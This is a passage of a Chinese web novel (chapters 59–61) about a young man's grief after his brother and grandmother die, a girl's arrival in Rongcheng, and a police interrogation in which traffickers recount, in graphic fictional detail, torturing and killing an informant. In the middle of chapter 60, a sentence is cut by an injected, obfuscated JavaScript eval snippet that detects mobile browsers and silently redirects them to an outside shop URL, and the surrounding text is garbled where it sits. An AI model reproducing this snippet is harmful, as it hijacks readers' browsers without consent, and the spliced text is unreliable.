李空山拉住小海的手,让他的手搭在自己肩上,他因崩溃半跪在地,拳头砸在地面,激起一滩雨浪。 手破皮流血了,眼泪流下来了,雨变大了,可是小海不会再回来了。 他转身回头,抱住小海的脑袋在自己怀中,悲痛大哭。 雷声轰隆。 李空山没有弟弟了。 59. 第 59 章 李空山没有回头,背起小海继续往前走。 他轻声哼着儿时两个人爱听的歌……声音颤抖。 “……玻璃珠……铁盒英雄卡,玩皮筋迷藏……石桥下,姥姥又纳鞋……坐院坝……放学打闹嘻嘻哈,田埂间流水哗啦啦……” “……我们就一天天长大……沙堆里有宝藏和塔,长板搭起……一个家……我们就……一天天长大……” 哼到最后,他的眼泪啪嗒落了下来,淹没在喧嚣的雨水中。 以前,小海还小,刚没了爸爸妈妈的时候,总让李空山哼这几句歌哄他睡。 背后的人明明已经听不见他的声音,可是他还是在对他说话。 想要欺骗自己小海还没有离开。 眼睛红红的。 “小海,你还记得吗,你小时候才六岁,特别害怕打针,每次你生病的时候,我背你去医院,你总是哭啊闹啊,求我问我,能不能别去。” 他又自欺欺人地笑。 “每次我都得费好大的劲儿把你带去医院,不过只要我说看完医生就不会再痛再难受,你就不哭也不闹了。” 说到这里,他突然哽咽,顿住了脚,不知道该往哪儿去。 是啊,现在他该带小海往哪儿走? 此刻去医院的路上,小海不哭也不闹了,那他该怎么做才能让小海像以前一样又哭又闹,鲜活地出现在自己面前? 他抬头看天,雾蒙蒙的,冷冷的雨水打在他的脸上,夏夜刮着冷风,他突然好想再看看小海在自己面前胡说八道、活蹦乱跳的样子。 远处走来一位撑伞的大婶,李空山冷眼盯着地面,一刻也没抬眼。 等到大婶走进出声,他才识得,哦,原来这是奶奶的邻居。 大婶看到李空山就急急忙忙跑过去,一脸焦急,“哎哟,李空山,你咋个还在这儿哦,你奶奶走了,你赶紧回去。” 奶奶……?! 失魂落魄的李空山惶恐地抬起目光,他在做梦吗?他在做梦吧。这一定不是真的。 他想,不可能,绝对不可能,一定是在做梦。 所以老天才给他开玩笑,让他生命中重要的人在这一天接二连三地离开他。 大婶看李空山不相信,撑着伞走近,声音急切:“村子里的人都过去了,你赶紧回去,你奶奶走的时候,怀里还抱着你小时候穿的虎头鞋呢!” 这不是梦,老天也没有在开玩笑。 李空山六神无主,信念轰然倒塌,失神落魄跪下,握拳捶地,怒吼痛哭。 小海趴在他的后背,闭上了眼,再也无法像以前一样劝他别哭。 - 汽车抵达市里汽车总站,孙阚平又带着连翘乘火车,十二个小时辗转后,他们终于抵达榕城。 连翘站在广场中央,抬头看着建筑楼上方“榕城东站”几个大字,再抬头眺望这片蓝天。 周围是密密麻麻的高楼大厦和川流不息的车辆,她不禁轻轻抬起手,懵懂又好奇地感受着风儿萦绕在她的身旁。 这一天,她终于等来了。 小时候,妈妈工作忙,总让她一个人在路边站着等,可是等啊等,怎么都没有等来妈妈,只等到了把她卖去很远很远的人贩子。 这一晃,就是十年。 连翘再次踏上这片土地,她理应是开心的,可是无数个瞬间里,她却觉得心一抽一抽的痛。 就仿佛……听到了谁不甘的嘶吼声。 她回头,东侧连绵群山庄严巍峨,看似就在眼前,其实很远很远,她越过重重阻碍越过了那座大山。 山的那边是从前,是噩梦一样的地方,她发誓再也不要回去。 “怎么了?” 孙阚平打完电话走来。 连翘摇头说:“没事。我们走吧。” 她别开眼。 这一眼别离,就是五年。 - 李空山回到镇里的房子,发现连翘真的什么都没有带走,她的确无情地抛下了这里的一切。 ——包括他。 他站在窗前,看着窗台下桌子上放着的那盆连翘盆栽,默不作声上前,把它砸在地上摔烂,花盆瓷片碎成一地,泥土松散铺在碎片中央,连翘花无言。 他不再注视这里的一切,也不再留恋,转身要走,而赵旭摩恰好从楼梯口走了进来,将李空山堵在门口。 李空山抬起狠戾的眼眸盯着他:“滚。” 赵旭摩懒散眯眼,“哟,这不是李空山嘛,现在什么都没有了,是什么滋味啊?是不是特别难受,特别恨?” 他笑了起来,接着说。“可我偏偏就是喜欢看你这幅落魄不堪的样子哎,你不知道,我等这一天,可是等了好久好久呐。” 李空山揪住赵旭摩的衣领把他拎起,“赵旭摩我警告你,不要逼我。” 赵旭摩回想二叔赵本奇说过的话。 那时,他失手杀了小海后,慌慌张张跑回去,赵本奇宽慰他,无论发生什么事都有赵本奇来撑腰。 于是,赵旭摩即便没了爸护着,此刻依旧嚣张。 他指着自己的脑袋,“来啊,你来啊,有本事你像以前一样朝我这儿往死里打啊,我倒要看看,你敢不敢步你那兄弟楼巩的后路!” 李空山听见楼梯口传来脚步声,偏头看去,是警察。 他不服地把赵旭摩推开,盯着他,目光阴狠。 赵旭摩还在得意,并不知道接下来有什么事要发生,刚要上前一步准备去教训李空山,身后赶来的警察将他脑袋按下,扣住他的肩膀。 李空山漠然盯着。 拳头握得很紧很紧,如果可以的话,他多想亲手为小海报仇。 赵旭摩不解,大声嚷嚷,“喂喂喂,你们干什么!哪有你们这样乱抓人的!” 警察与同伴对视一眼:“带走!” 他回答赵旭摩的话:“你杀了人,我们依法逮捕你。” 赵旭摩慌了,他的二叔赵本奇不是说出什么事都有他兜着吗?所以他才敢拿刀去砍李空山。他想,搞错了,一定是警察搞错了。 他嚷嚷道:“我的二叔可是我们镇里的大人物,大老板,镇里的生意都是靠他做起来的,你们敢抓我,他绝对不会放过你们!他绝对会有办法把我弄出去的!放开我!放开!” 警察不屑一顾,把他带出屋子:“得了吧,你以为这儿还和以前一样?镇长早就换人了,你想为非作歹,做梦去吧。” 赵旭摩被警察带下楼。 上车前,他晃了一眼,清晰地看见赵本奇站在路口商店门前看他,缓缓扬起他那抹深不可测的笑。 那一刻,赵旭摩终于明白,他被至亲的人算计了,他爸爸的秘密会暴露,也是如此。 李空山下楼,看着警车开走,心中的气焰怎么都压不下。 心里冲动的那个小人跳出来,想要亲手为小海报仇,可心里那理智的小人又跳出来,说法律会制裁赵旭摩,他不能冲动乱来。 他转身想走,却也和赵旭摩一样,看见了站在商店门口讪笑的赵本奇。 - 楼巩出事以后,魏可萱好长一段时间把自己关在屋子里,白天夜里都绝不出门。 她害怕,害怕自己没用,又被欺负,害怕珍视的人再次因为自己而冲动做错事。 可是她缓了好久才能接受这样一个现实——楼巩已经被警察带走了。 连翘托徐尔枸送来的信还在门缝下。 三天后,死气沉沉的魏可萱才伸出手,僵硬地把信打开。 连翘在信上说,不告而别,她很抱歉,但离开这个地方一直是支撑她活下去的梦想,所以,时间到了,她该走了。 如果可以的话,她希望魏可萱能替她向李空山说一声对不起,因为她实在没有勇气当面向他说出这句话,然后离开。 她说,她很感谢遇见魏可萱。因为当她看见魏可萱可以忘掉过去,如此充满希望地生活的时候,她开始明白,其实自己也可以。 没有人理所应当活在过去的恐惧里。 在信的最后,连翘还说:“我们独自来到这个世界,被人贩子卖来这里后,又变得只身一人,无依无靠,我们比大多数小孩都活得不容易。但这绝不意味着我们将软弱一生。 我们有这个世界上最强大的武器——活下去的渴望、活得越来越好的憧憬,所以,无论任何苦难都无法将我们击倒。 如果有人企图伤害我们,我们随时可以举起手中的武器回击,这个武器可以是智慧,可以是法律,也可以是时间。 可萱姐姐,安好。愿再见到你时,你正挽着你所爱的人,谈笑风生,圆圆满满。” 魏可萱擦干脸颊上的眼泪,缓缓站了起来,她明白自己必须勇敢,就像连翘说的那样——无论发生什么,只要还活着,这世界上就没有事情可以将她击倒。 后来,她到警察局报警,举报当晚那个男人对自己侵犯,有这样一件事发生在先,楼巩在律师辩护后得到了减刑。 再后来,魏可萱去市里找事做,从白天到夜晚忙工作,不让自己闲下来。 她希望等楼巩出来那天,自己也能是个独立勇敢的女性。 她想,只有振作起来才算对得起楼巩——他虽冲动了,做了不该做的错事,但他初心是好的。 他只是想用行动告诉魏可萱——他还是像当年把她从下街带出来那样,竭尽全力、用心保护她。 - 处理奶奶和小海的后事,李空山在灵堂前跪了七天七夜,哪儿也没去。 整个人像死了一样,低垂着眼眸,一整天不进食不喝水,无论谁来都不开口说话。 出事那天,孟河去找搬救兵找人,可终究还是晚来一步,地上一滩血,只有许弋刚还趴在地上没昏迷。 楼巩出了事,小海走了,奶奶离开了,李空山的身边忽然少了好多重要人,突然……一无所有。 许弋刚和孟河深知劝不动李空山,更知道无论说什么也抹不平他心里的伤痛。 于是,他们就陪李空山跪灵堂。 他们不善言辞,但也想让李空山知道,他的身边并非一无所有,他还有他们。 七天后,李空山把奶奶的骨灰葬在爷爷墓边,圆了奶奶生前的心愿。 他怕小海孤独,便把小海的骨灰也葬在奶奶和爷爷旁边。 他知道,以前小海特别喜欢去看奶奶,而奶奶也把小海当做自己的孩子,所以他们在另一个世界相遇后,也一定会特别开心。 少年跪在墓前,低着头沉默,他在心里发誓——他可以不冲动,但他一定要让伤害过自己至亲的人付出代价,包括那挑唆赵旭摩杀人、间接害死小海的 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以前,他不耐烦地坐在小桌前写作业,而奶奶就在旁边织围巾。 奶奶不识字,看不懂李空山的作业,也不懂他需要写什么,但奶奶就那样静静地看着他,目光那么柔和。 两个人明明什么都没有说,可李空山却觉得,那就是真正的陪伴。 陪伴不一定要有语言、行动,只要那个人在身边,即便什么都不说,什么都不做。 当然,奶奶也有静不下来的时候。 比如,当李空山从学校里翻墙出去,跑到网吧打游戏的时候,奶奶会挽起袖子,拿着鸡毛掸子追得他满街跑。 想到这儿,他不禁笑了。 以前总觉得奶奶唠叨,管这儿管那儿,哪儿都要管,天天在他耳边唠叨出去找个正经事儿做,可现在他想要奶奶再重新唠叨一句的时候,却实现不了。 奶奶再也不会搬来一张凳子从后门走回来,坐到他身边,问:“怎么又跑这儿来呐?” 再也不会了。 李空山向右边看,记忆中奶奶坐在凳子上缝衣服的身影消失,往左边看,连翘捧着脸看树影婆娑的模样消散,抬头往前看,小海站在田坎边喊他快来看青蛙的画面转瞬即逝。 李空山终于明白,他什么都没有了。 人曾经可以拥有很多,但却有一天会变得一无所有。 拥有的一切化为乌有,没有什么是可以永恒的。 他所爱的人,无法永远陪在他的身边。 如果他们还在,多好。可是他们都不在了。 他想要的从来都不多,可是今天还是变得一无所有。 他不知道为什么人要相遇,相遇之后总有别离的那一天。他想不明白相遇的意义是什么。 不知道人为什么要宁愿承受失去的痛苦也要相遇。 少年红了眼眶。 风吹起衣角,吹拂他的发梢,吹干他脸颊上的泪痕,却吹不走他的哀伤。 眼前是褐黄色的稻田,身后是青葱色的大山,瓦房看着河流缓缓流向远方。乡间的风是静谧的,悄无声息的,只有鸟雀在枝头窃窃私语。 李空山想,它们在说什么呢? 它们在笑话他吧。 他抬头,湛蓝色的天空澄澈明亮,不染一丝尘埃,奶奶和小海仿佛就在天上,笑着对他说:“别难过啦,空山呐,你要勇敢站起来。” “哥——你永远是我的哥,快快把眼泪擦干呀,一切都会过去的。” 朝夕之间,少年的狂妄已逝,心高气傲已被伤得体无完肤。 手里的照片被捏得变形,李空山的眼泪再次汹涌。 他站起来,撕碎照片——当初五个人一起出游拍下的那张。 只留下他和小海。 撕碎的照片被扔在半空中,像记忆的碎片重重叠叠落下,那一瞬间,时间仿佛定格。 碎片后是少年那张不动声色、却处处透露着悲痛哀伤的脸。 他的眉眼清隽,眼中的锐气已变为悲切,棱角分明的脸庞染上执拗。 十九岁,李空山低下了头,他不是妥协认输,只是在看清脚下的路。 门前窗台上的收音机一动不动,屹立不倒,如果它有眼睛,此刻一定是在叹息,无奈注视着李空山那哀伤又难过的背影。 多年以后,李空山明白,人相遇总归是有意义的,意义就是,教我们如何去爱,感受爱,学会爱,体会被爱。 李空山把砸烂的连翘盆栽收拾好,栽在当初他们秋游的小山丘山腰处,他默不作声,转身离开的时候。 背着身,他反手把用了多年的那把刻着“山”字的小刀甩回去,刀子插在到树桩上。 他走远了。 远远望去,小刀正中树桩,给连翘小树桩开出一道伤口。 他想要她偿还自己受过的所有伤痛吗? 没有人知道。 除了轻轻掠过半山腰、看懂李空山眼底落寞的风。 炎热夏天会过去,寒冷冬日也会过去,等到下一个春天来临,万物又会复苏,我们也是。 那天过后,清流镇再也没人听说过李空山的消息,他和他手底下那些还愿意跟他的小伙一起消失。 谁也不知道他们去了哪儿。 60. 第 60 章 连翘回到榕城的第一件事,是和孙阚平一起去警局。 在他们赶回来之前,陆平安正带人审贲诸和齐磊。 这批拐卖孩童的团伙核心人物共三人。 团伙老大常年不在外露面,行踪不定,为人谨慎,名为戴望业;团伙老二性格乖张,爱在外滋事,脾气暴躁,古怪多疑,此人即贲诸。 而这批团伙里的老三更神秘,负责善后工作,鲜与人打交道,警方至今不知他的长相和名字。 自从十年前329拐卖案过去以后,贲诸和齐磊就跟消失了一样,人间蒸发,无论警方如何排查,始终没有他们的下落。 而十年后,贲诸和齐磊终于现身。 陆平安问他们一直躲着偏偏这个时候突然现身。 贲诸目光散漫,双手被手铐拷住,无所谓说:“警官,人活着总得有钱对吧,你们找了我们十年,这十年我们东躲西藏,钱不得花光了啊?” 陆平安身旁的小警察努力压下心头的焰火。 这些人早已没了人性,心狠手辣到可以把拐来的孩子卖给走私器官的团伙。 小警察用做笔录的钢笔指着对面的贲诸,“你老实点,好好回答!不要以为你随便编个理由我们就信!说清楚,你到底在和谁秘密接触,谋划新一场拐卖?” 贲诸坚持到底,“能有谁啊警官,就只有我们,真没钱了所以才出来冒险的。” 十年光阴过去,贲诸苍老了不少,眼角冒出皱纹,但他刻在骨子里的恶还是从他的表情和言语中渗出。 反倒坐在他旁边的审讯桌的齐磊则要害怕些,警察没问他话,他便一直把头低着,不敢看对面的警察。 “少在这儿糊弄我们!” 小警察看向陆平安。 得到了陆平安眼神的示意过后,小警察把桌子上放着的几张照片和一份尸检报告拿起来,走过去,甩在审讯桌上。 “你们自己好好看看。贲诸,你还想包庇你的大哥?他早就在一年前病死在国外,前段时间跟你重新联系,让你协助拐卖新的孩子去卖的,根本就不是他!” 贲诸傲着一张脸,不把法律放在眼里,以为自己只要咬定不承认,警察就拿他没有办法。 但直到小警察把这几样东西甩在他们面前,贲诸挪去目光,这才明白自己被骗了。 能让贲诸东躲西藏十年之后还愿意重新出来铤而走险,除了他的大哥,再没有第二个人。 可知道现在贲诸才反应过来他被欺骗了。 他拍桌,难以置信地瞪着审讯桌上的照片和尸检报告,“不可能!绝对不可能!我大哥一直在和我联系,他怎么可能一年前就死了!” 陆平安沉稳地坐着,一脸肃穆盯着贲诸,“听说你们团伙里还有个老三,当年跑掉的人里也有他,你有没有想过,是他在假冒你的大哥联系你?贲诸,告诉我们这个人在哪儿,叫什么名字,否则,你的下场会很惨!” 贲诸久久不能平复自己的震撼,他不可置信地盯着前方地面。 人惊讶的时候,眉头总是情不自禁皱起,嘴巴微张。 小警察回到桌前,两手按在桌子上,“麻利点儿,赶紧说!” 齐磊害怕地看向贲诸,“二哥,要不你就说了吧,我们早就已经死路一条了。” “什么老三,没有老三。”贲诸抬头,故作迟疑地盯着眼前的警察,“我不懂你们在说什么,你们想知道,就自己找去。” 小警察按奈不住性子想发火。 陆平安把他按回去,起身走到审讯桌前,从胸口处的兜里拿出一张照片,照片里是个女人。 陆平安把照片递到贲诸和齐磊眼前,“这个人,你认识。她现在在哪里?” 贲诸抬起头看了眼,又别开目光,仿佛一想起照片上的这个女人,他就愤恨不已。 当年事情败露,就是因为她。 一直负责接头工作很少露面的老三听说后,找到贲诸,和他一起,逼照片上的女人梁云交出搜集的证据。 是一张储存卡。 至于之后发生了什么,只有他们自己知道。 十年前对329拐卖案进行收网之后,陆平安就再也没找到梁云的下落。 梁云是他亲手发展起来的线人,后来她潜入人贩子的团伙里,做了卧底。 照片上,她的那张脸还没有烫伤,笑容灿烂,眼睛像星星。 “我问你话,回答我!” 陆平安捏住贲诸的下巴,逼他看自己。 贲诸无所谓道:“还能在哪儿。她是你们的人,我们又不傻。早就把她弄死了。” 陆平安眼里的愤恨顿时升起,手上的劲儿变得更大,“埋哪儿了?说——” 光头男齐磊是个容易认怂的人,他见警察变得如此生气,连忙开口,“我们说我们说。” 他颤着眼睛,不敢直视两个警察。 “当年我们把云姐抓回去以后,就用严刑逼问她手里是不是有我们拐卖儿童的证据。她不说,我们就用烙铁折磨她,直到她全身上下每一处肌肤都不是完整的,被烙铁烙烂,跟个活煤炭一样,我们才又用刀子砍断她的手指和脚,她还是不肯说,在……在三哥的提议下,最后我们把她舌头割了,葬在被挖出器官死了的那几个孩子旁边。” 陆平安的眼睛变得猩红,拍桌怒吼:“你们还是人吗!” 齐磊害怕,别开了脑袋,贲诸盯着桌面,一言不发。 出去的小警察得到消息回来,禀告情况,“陆队,审问田永贵那边有结果了。 当年梁云去镇里的时候,担心事情有变,就做了两手准备,找到饭店喝酒的男人,拜托他去附近的一个乡下库房里拿钱买孩子。 原本这笔钱是可以买剩下的九个孩子,谁知道原定买主被控制以后,贲诸他们就狮子大开口。 最后,云姐交给男人的钱只能买一个。而这个人就是田永贵。” “田永贵就是贪财,梁云姐说事成之后她再给他另一笔钱,所以田永贵才按照她说的时间地点去找贲诸等人买孩子。 没想到之后梁云姐再也没找过他,钱拿不到了,田永贵不敢去报警,毕竟买孩子是犯法的事。” 小警察顿了下,拉长声音,犹豫道:“也就是说……如果不是梁云姐当初恰好做了两手准备的话,当年的孩子,可能一个都活不成……” 陆平安握紧拳头,揪住贲诸的衣领,“说——那些孩子和梁云的尸体,你们埋在哪儿了!” 贲诸和齐磊知道自己的报应已到,再也没有转机,无奈之下,一五一十交代了埋尸地点。 警察立即派人赶去确认。 陆平安摔门离去。 孙阚平带着连翘来的时候,搜查的人刚好回来,向陆平安报告了状况。 那里的确有九具尸体,具体的结果和身份确认,还要等到尸检报告出来。 走廊上,陆平安把手搭在栏杆上,望着远方,心里一片惆怅。没想到等了十年,他还是只能等来这样一个不尽人意的结果。 孙阚平朝他走去,“陆队,我把人带来了。你这边的情况怎么样?” 陆平安收手,转身看向两人,目光落在孙阚平旁边的女孩身上,“你就是连翘?这次多谢你交给我们的东西,如果不是你从田永贵家里找到那张银行卡,我们还不能发现她和田永贵原来有这样的联系。” 连翘问他:“那张卡上写着梁云的名字,持卡人是梁云,她就是当年让田永贵去买孩子的人。那她现在怎么样了? 当年她为了放我们逃走,还被贲诸他们抓了回去。如果不是她,我可能就不会机缘巧合下被田永贵买走,而是会像其他人一样,死路一条。” 陆平安突然哑然,不知该如何回答连翘这一问题。 孙阚平才回来,不知道审查的结果是什么,帮着连翘说话,“对啊,陆队,情况到底怎么样?我也想知道。” 陆平安用手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313576|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏了下鼻梁,闭上眼睛几秒,把手放下,“我们在清流镇八十公里外的废楼旁发现了她的尸体,和当年没有生还的八个孩子一起。” 连翘期待的目光落空,她怔怔望着陆平安,好似他说的话在另一个时空,没有传到她的耳朵里。 她顿了许久,难过又不解,眼眸中闪烁着泪光,“为……为什么啊,她不是你们的人吗?为什么你们没有找到她,把她救出来?” 对于连翘而言,梁云是她的救命恩人,救了她两次,一次是掩护她逃出去,一次是阴差阳错下,让田永贵把她买走。 她无法接受这样的结果和事实。 陆平安自责,无法回答连翘。 孙阚平也愣住了,万万没有想到是这个结果。 “……连翘,其实还有一件事我没告诉你,梁云是陆队发展的线人,她的原名叫……狄曼妮。” 连翘偏头,惶恐又诧异地盯着他。 - 当年,狄曼妮和她的丈夫一起去城里打拼,没过多久,她怀孕了,两人本来满心欢喜地等待着孩子的出生,可是一道晴空霹雳打在他们的心头。 狄曼妮的丈夫在工地上出了意外,摔断了腿。狄曼妮临近生产那段时间,自己照顾自己。 在医院,有人扔下烟头引起火灾,刚刚流产的陆平安的妻子恰好和狄曼妮在同一间病房。 她把狄曼妮救了出去,自己却因为缺氧,死在逃生的路上。 孩子平安出生了。 狄曼妮一直愧对陆平安的妻子。 她和丈夫一起找到陆平安,问能不能为他们做点儿什么。 他们没多少钱,只能做点儿别的事情报答。 陆平安拒绝,说不怪他们,但狄曼妮和丈夫坚持要感谢他们一家。毕竟陆平安的妻子是因为救她才死的。 恰好那段时间,为了摸清人贩团伙的下落需要线人,陆平安提了一下,没想到狄曼妮和他的丈夫果断答应。 丈夫摔断了腿,行动不便,狄曼妮果断提出让自己去。 她说自己的丈夫已经为这个家付出了很多,现在该轮到她挑起这个家的担子。 她从不因自己是个女性而生怯,她说,女的也不怕,女的一样可以干大事。 因为事情的特殊性,她没有告诉家人要去做什么。 陆平安的妻子救下了她和她的孩子,所以,狄曼妮想,她要报答陆平安的妻子,去救更多的孩子,她要做的是一件伟大又勇敢的事。 自此之后,狄曼妮告别了家,多年都未回家。 狄曼妮当线人的那些年,陆平安不得不承认,她真的是一个坚毅又勇敢的女性,也是一个很爱自己孩子的母亲。 每次秘密与陆平安通电话的时候,她总会问他:“我的孩子最近怎么样?” - 连翘找借口说要去趟洗手间,躲进厕所里捂脸哭,不敢放声。 她不想在别人面前暴露自己的脆弱,却又控制不住自己此刻悲痛泛滥的情绪。 她觉得自己对不起李空山,他的妈妈是为了救他们,才失去的生命。 这是命运在捉弄人吗? 她想,一定是的吧。 以前,她一直认为命运对她很刻薄,让她从小就经历了诸多苦难,必须努力地一次又一次爬起,才能在生活的沼泽里踏出属于自己的路。 可是现在她忽然明白,命运其实对她一点儿也不刻薄,派了李空山的妈妈来帮助她。 转过一个又一个险弯后,又派李空山来守护她踏向黎明的最后一程路。 现在她回想起自己离开时的决然和冷漠,突然心里好难受。 自责和愧疚的情绪像猛兽正将她一点点吞噬。 女孩的啜泣声隐隐约约回荡在隔墙里。 很轻,但却承载着巨大的悲痛。 她发誓,自己一定要变得很坚强,一定一定,否则,她就对不起一路走来所遇到的所有善意。 61. 第 61 章 目前,警方还在寻找梁云当初藏匿的那张储存卡究竟在哪儿,只有找到这样东西,才能掌握他们犯罪的所有证据——包括从未露面的老三的下落。 但去清流镇调查的警察并没有发现任何线索。 甚至孙阚平回想之前在清流镇待过的那段时间,也没有发现半点儿异样。 陆平安让孙阚平先把连翘安置好,看她自己接下来有什么打算。 他问连翘想不想找家人,他们警方这边可以帮忙。 连翘拒绝了,她说:“我没有家人,无父也无母,不用劳烦。” 于是,陆平安只好作罢。他们去比对过榕城的失踪人口,的确没有关于寻找孩子名为连翘的人家。 孙阚平带连翘走到大厅,“我先去给你接杯水,这一天知道这么多事情,你心里可能一时半会儿也缓不过来。” 连翘点头,自个儿站在大厅靠近接待台的边上。 来警局办事儿的人不算多,也不算少,警察来来往往走在旁边的廊道上,每个人都神情庄严。 她想起小时候的童话故事。 故事里有大灰狼,有无辜的女孩,还有勇士。大灰狼要把女孩抓走,勇士在来的路上被别的事情耽搁了,于是女孩只能自己变勇敢,变坚强。 她的思绪在纷纷扰扰的脚步中散开,又重新聚拢在前方不远处一间办公室外的哭声上。 定睛看去,原来是一位四十多岁的妇人在嚎啕大哭,她打扮不凡,身上戴着价值不菲的珠宝,情绪崩溃,不能自已,嘴里不断地喊着:“我的女儿……妈妈对不起你……” 悲痛万分。 另一名女警官在搀扶着崩溃快要站不起的她,着急安慰。 妇人的哭声悲切,身体因痛哭而不断抽搐,要不是左手撑着墙,她仿佛就会无力倒下去。 孙阚平拿着接好的水朝连翘走来,“在看什么?” 连翘收回目光,从孙阚平手里接过这杯水,端在手里,“我看见前面有人在哭,她怎么了?” “哦,你说她啊,”孙阚平顺着连翘的视线看过去,目光落在捂着心口悲痛不已哀痛大哭的妇人身上,“她女儿就是十年前那场329拐卖案里不幸被解剖死掉的其中一个。 十年前我们赶过去的时候,晚了一步,虽抓住了孟老歪等人,但那些女孩全都不幸被肢解。她听说这个噩耗,怎么都不相信。 这不,得知我们抓到了贲诸和田永贵,今天又跑来确认……” “你说人其实也挺两面的,她当年就是忙着工作,三番五次把自己女儿扔在大马路上不管,这才让人贩子逮着机会把她女儿带走,女儿没了,现在又开始自责后悔……” 孙阚平叹息,无奈又遗憾,继续补充。 “田永贵说,他亲眼看见她女儿被折磨死。她这才不得不接受这个噩耗,这不,现在情绪正崩溃呢。” “换做是谁都会难受,都怪当年我们失算了,没想到贲诸会突然和从未有过往交际孟老歪联系,把拐卖去的孩子卖给他走私器官生意……” 连翘眨眨眼,有些好奇,盯着孙阚平,“田永贵怎么知道她的女儿死了,他还认识被拐走的孩子?” 孙阚平耸肩,坦然道:“不认识。不过她说她女儿身上戴着蓝玉髓,问田永贵有没有印象。 田永贵就告诉她,他印象很深刻,因为他那天亲眼看见戴着蓝玉髓的女孩死了,躺在地上断了气,不然的话,他都差点把她买走。” “哦……” 连翘从妇人身上收回目光,不动声色。 她不再追问,面无波澜,很平静。 孙阚平问她:“你接下来打算去哪儿?” “我身上还有点儿钱,我先去找个便宜的旅馆住,等明天天一亮,我就出去找个包吃包住的活儿,一直打工,等开学。” “需要帮忙吗?” 连翘转身,不留恋地离开,“不用啦,我自己一个人可以。” 孙阚平注视着她的背影,坦然,从容,像是活在窒息的空间里的人终于松了一口气,连翘要开始为自己而活了。 蓝玉髓阴差阳错的秘密,从此以后石沉大海,除了连翘,世上不会再有第二个人知道。 她很清楚,她没有爸爸妈妈的,她也不要再附庸任何人。 她接下来要走的,是自己的路。 - 连翘走了一段路,来到一家小旅馆办理入住,她选择这家旅馆的原因很简单,就一个:便宜。 没多久,孙阚平就从外面走了进来,同她打招呼。 连翘疑惑看向他:“你怎么在这儿?” 孙阚平笑笑说:“这不路过吗,下班了,刚好看见你在这儿。” 她知道孙阚平在想什么,“你放心,我是个十九岁的人,懂得如何保护自己,不会走丢。” “也行,看你一切都很顺利,我也就差不多放心了,”孙阚平拉长声音,“对了,我还有个东西要给你。” “什么东西?” 连翘办理好入住,拿着房间钥匙走到一边,不打扰之后进来的人办理入住。 孙阚平从黑色背包里拿出一个棕色的布朗熊,“别误会啊,不是我给你的。那天我在路上碰见李空山骑着摩托去你考场外边接你。他没注意到这东西掉了,我估计是准备送你的,就捡起来替你收着。诺,现在给你。” “我可什么地方都没碰啊,原物奉还。” 连翘犹豫着,从孙阚平手里接过这只不大的棕色布朗熊,它的头上系着红格子蝴蝶结,身上穿着漂亮的小裙子,眼睛又大又水灵,扬起弯弯嘴角,让人看了总有好心情。 “谢谢。” 她的目光落在这只布朗熊身上,目光变得沉重又复杂,一想起李空山,她难免有些自责愧疚。 孙阚平想,还是不要把清流镇发生的事情告诉她好了,不然她肯定又会多想,又会难过自己在最不该离开的时候离开。 “你对这里人生地不熟的,明天就要去找兼职?要不要我帮你介绍?这样方便些,省得麻烦。” “不用,”连翘抬头,抱着棕色布朗熊,眼神坚定,“我自己去就行,我想向世界证明,我自己一个人也可以。” “行。” 孙阚平交代连翘得多注意安全以后,便骑着单车走了。 连翘爬楼梯去自己的房间,梳洗过后,她坐到床上,拿起这只棕色的布朗熊端量。 本想捏捏它的脸,却无意间发现布朗熊的衣服兜里放着东西。 - 第二天,连翘早早地醒来,出门找兼职。 路上,她看见一个小男孩正坐在还未开张的杂货店门前用蜡笔画画,好奇地走过去,弯腰询问:“你画这个干什么?” 小男孩年纪不大,大概五六岁,奶声奶气,“妈妈说我每天都画,长大以后就可以靠这个挣钱。” “真的假的?画个画就能挣钱?” 连翘不信,用最单纯的目光和语气说出最伤人的话,“你妈妈肯定在骗你。” “我妈妈没有骗我……” 小男孩撇着嘴,盯着连翘,因为她这一句话,快要哭了。 如果不能挣到钱的话,那他每天起这么早的意义在哪儿,男孩越想越委屈。 连翘开始慌了,急急忙忙,两手无措,“哎,你别哭啊,我骗你的,对,是我骗你,你妈妈才没骗你。” 男孩委屈悲伤的神情这才缓和些,可是他看上去依旧很难过。 为了安抚他,向他证明妈妈的话不是在撒谎,也为了摆脱自己惹哭他的嫌疑。 连翘拿起画笔,蹲在小男孩旁边,“要不这样吧,我帮你画,如果卖到钱了,你就相信你的妈妈没有骗你,好不好?” 男孩点头。 他看着连翘动作娴熟地拿起画笔在画纸上挥动,轻重有度,色彩布局令人惊叹,不禁“哇”了一声,“姐姐,原来你这么厉害,你也学过画画?你赚到过钱吗?” “这个……”连翘的记忆实在太模糊,她只能凭依稀的记忆想起自己好像以前碰过画笔。 找兼职的事情暂时搁置了会儿,连翘带着小男孩到热 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她没有回答,默默地盯着街对面商场大楼外墙的LED大屏,屏幕变幻莫测,最后出现一个团队的海报以及他们的珠宝成品设计,仿佛有星光闪动,像星辰大海,又像暗夜星河。 她的心不禁悸动了下,站起来愣愣看着,指着对面的LED大屏问:“这是什么?他们的照片为什么可以放在这上面?旁边很多好看的珠宝是谁做的?他们吗?” “哦,你说这个啊。” 孙阚平看一眼就了然于心,出声解释,“这几个人是凯瑞的设计师团队,旁边那个呢,就是他们今年夏季的成品展,他们很出名的。前不久才代表公司去国外参加全球珠宝交流展,当然要展示在这上面咯。” 连翘眼里放光,“那他们是不是可以挣到很多钱?” 孙阚平扯起嘴角点头,“那必须。普通人辛辛苦苦工作几年还比不上他们一份设计。” 连翘激动地走到他面前,又惊讶又期待,“那我可以学这个吗?” 孙阚平想了想,“也不是不行,但你是文化生不是艺术生哎,学这些得是参加过艺考的人才行。” “艺考是什么?” 连翘在的那所小镇没人参加艺考,自然也不知道原来除了大多数人走的那条路外,还有另一条路。 孙阚平给她解释过后,她就明白了。她倒没有因此灰心,“没事,大不了我后面转专业,我一定要去学这个。” “这么坚定?为啥?”孙阚平问。 她回答他:“因为你说的,这个能挣很多钱!” “……” 